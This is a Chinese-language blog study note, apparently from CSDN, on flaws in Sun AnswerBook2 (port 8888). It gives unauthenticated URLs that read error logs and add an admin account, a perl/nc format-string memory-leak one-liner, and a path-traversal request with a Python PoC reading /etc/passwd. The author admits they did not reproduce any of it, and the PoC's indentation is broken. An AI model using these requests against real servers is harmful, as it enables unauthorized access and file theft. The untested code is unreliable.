AnswerBook2(端口8888)相关漏洞

AnswerBook简介

AnswerBook2 产品是 Sun 在线文档系统。它是一个基于客户服务器的系统,客户是任何一个 HTML 3.2-compliant 网络浏览器,而服务器是一个基于 httpd 的网络服务器。您可以在一个中央文档服务器或本地服务器上安装 AnswerBook2 文档集合。

AnswerBook2 管理特性

1、用客户服务器结构,您能将文档存储于一个单一位置(服务器)而从用户桌面(客户)访问。
2、提供命令行接口(ab2admin)和一个基于浏览器的界面(AnswerBook2 管理页),以便执行服务器管理功能。
3、能作为一个 CGI 进程在不同的网络服务器上运行。
4、通过打开或关上 AnswerBook2 调试功能,您能控制是否将错误用一个红色的 “BUG”,可见地显示给用户。
5、包括服务器访问和错误的记录文件。

AnswerBook2 零部件

AnswerBook2产品包括以下单元:
1、文档服务器-向客户浏览器执行查询功能并"服务 “文档。包括一个为查看及打印文档提供普通"查看并感觉"的模板;并提供网络浏览器和命令行管理界面,此界面执行数据库、口令鉴别和其它管理功能。
2、文档集合-可以是新的(SGML)文档或旧的( 显示附言TM)文档。有关在您的服务器上安装文档集合的信息,请参阅"安装文件集合”。
3、用户网络浏览器-用户能用任何 HTML 3.2-compliant 浏览器查阅文档。有关查阅文档的信息,请参阅使用 AnswerBook2 系统查看联机文档 - zh。 为了使用户能访问文档服务器,您需用联合命名服务(FNS)登记服务器或用户需知服务器的 URL。

AnswerBook2漏洞
1、未授权访问

受影响版本:Sun-AnswerBook2 1.2-1.4.2

攻击测试手段
http://服务器ip:8888/ab2/@AdminViewError 访问错误日志
http://服务器ip:8888/ab2/@AdminAddadmin?uid=foo&password=bar&re_password=bar 添加账户(密码)

2、远程格式化字符串漏洞

原理:理解printf()函数 和 %n
printf()输出函数
sanf() 输入函数
%n:输出%n之前字符的个数

正常的C语言代码如下,输出为5

#include <bits/stdc++.h>
using namespace std;
int main()
{
  int n=5;
  printf("%d",n);
  return 0;
}

如果把输入权限交给用户的话

#include <bits/stdc++.h>
using namespace std;
int main()
{
char a[100];
scanf("%s",a);
printf(a);
return 0;
}

如果用户输入的字符串是"%x%x%x",输出为70ec48070ec60,为内存中的数据(内存泄漏)

%x:以16进制读取数字,由于没有数字,只能将内存地址读取出来
在这里插入图片描述

受影响版本:Sun-AnswerBook2 1.2-1.4.2

攻击测试手段
perl -e 'print"GET /";print"%x"x20;print" HTTP/1.0\r\n\r\n\r\n"' | nc IP地址 8888 造成内存地址泄露

3、任意文件读取

在请求包里发送GET /../../../../../../../../../etc/passwd HTTP/1.1\r\n\r\n可以看到文件内容。

参考POC:

def check(ip, port, timeout):
     try:
          socket.setdefaulttimeout(timeout)
         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          s.connect((ip, int(port)))
         flag = "GET /../../../../../../../../../etc/passwd HTTP/1.1\r\n\r\n"
          s.send(flag)
         data = s.recv(1024)
          s.close()
          if 'root:' in data and 'nobody:' in data:
              return u"漏洞"
      except:
          pass

以上漏洞我还没有复现,只是理解个大概,后面有机会再复现。参考链接:https://blog.csdn.net/qq_33608000/article/details/104124248

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值